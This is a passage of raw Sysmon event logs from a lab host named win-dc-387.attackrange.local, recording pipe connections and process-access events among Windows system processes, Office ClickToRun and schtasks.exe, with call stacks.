18141800x800000000000000040792Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.690{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040791Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.690{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040790Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.690{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000040789Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.674{7BD73061-65B0-613B-0B00-00000000F001}620660C:\Windows\system32\lsass.exe{7BD73061-6F35-613B-8808-00000000F001}5064C:\Windows\system32\schtasks.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040788Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.674{7BD73061-65B0-613B-0B00-00000000F001}620660C:\Windows\system32\lsass.exe{7BD73061-6F35-613B-8808-00000000F001}5064C:\Windows\system32\schtasks.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040787Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.674{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040786Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.674{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F35-613B-8808-00000000F001}5064C:\Windows\system32\schtasks.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 18141800x800000000000000040785Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.674{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040784Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.674{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040783Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.674{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040782Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.674{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040781Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.674{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040780Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.674{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000040779Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.674{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 18141800x800000000000000040778Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.674{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000040777Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.659{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040776Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.659{7BD73061-6F35-613B-8908-00000000F001}67006216C:\Windows\system32\conhost.exe{7BD73061-6F35-613B-8808-00000000F001}5064C:\Windows\system32\schtasks.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 18141800x800000000000000040775Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.659{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040774Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.659{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000040773Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.659{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 18141800x800000000000000040772Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.659{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040771Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.659{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040770Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.659{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040769Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.659{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040768Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.659{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000040767Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.643{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040766Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.643{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{00000000-0000-0000-0000-000000000000}6700C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000040765Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.643{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{00000000-0000-0000-0000-000000000000}5064C:\Windows\system32\schtasks.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000040764Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.643{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040763Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.643{7BD73061-6E00-613B-E006-00000000F001}59925948C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe{00000000-0000-0000-0000-000000000000}5064C:\Windows\system32\schtasks.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+546a1|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+544db|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+3a992d|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+3a9a63|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+4acf34|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+436609|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+436a55|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+4831bb|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+620c4|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+d4ccf|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+2394a2|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+174aca|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040762Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.627{7BD73061-65B0-613B-0B00-00000000F001}620788C:\Windows\system32\lsass.exe{7BD73061-6F35-613B-8608-00000000F001}3784C:\Windows\system32\schtasks.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040761Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.627{7BD73061-65B0-613B-0B00-00000000F001}620788C:\Windows\system32\lsass.exe{7BD73061-6F35-613B-8608-00000000F001}3784C:\Windows\system32\schtasks.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040760Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.627{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040759Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.627{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F35-613B-8608-00000000F001}3784C:\Windows\system32\schtasks.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040758Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.627{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040757Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.627{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040756Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.612{7BD73061-6F35-613B-8708-00000000F001}64727148C:\Windows\system32\conhost.exe{7BD73061-6F35-613B-8608-00000000F001}3784C:\Windows\system32\schtasks.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040755Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.612{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040754Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.612{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F35-613B-8708-00000000F001}6472C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000040753Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.612{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040752Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.596{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{00000000-0000-0000-0000-000000000000}3784C:\Windows\system32\schtasks.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000040751Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.596{7BD73061-6E00-613B-E006-00000000F001}59925948C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe{00000000-0000-0000-0000-000000000000}3784C:\Windows\system32\schtasks.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+546a1|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+544db|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+3a9a16|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+4acf34|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+436609|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+436a55|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+4831bb|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+620c4|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+d4ccf|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+2394a2|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+174aca|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040750Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.596{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040749Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.596{7BD73061-65B0-613B-0B00-00000000F001}6203916C:\Windows\system32\lsass.exe{7BD73061-6F35-613B-8408-00000000F001}5852C:\Windows\system32\schtasks.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040748Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 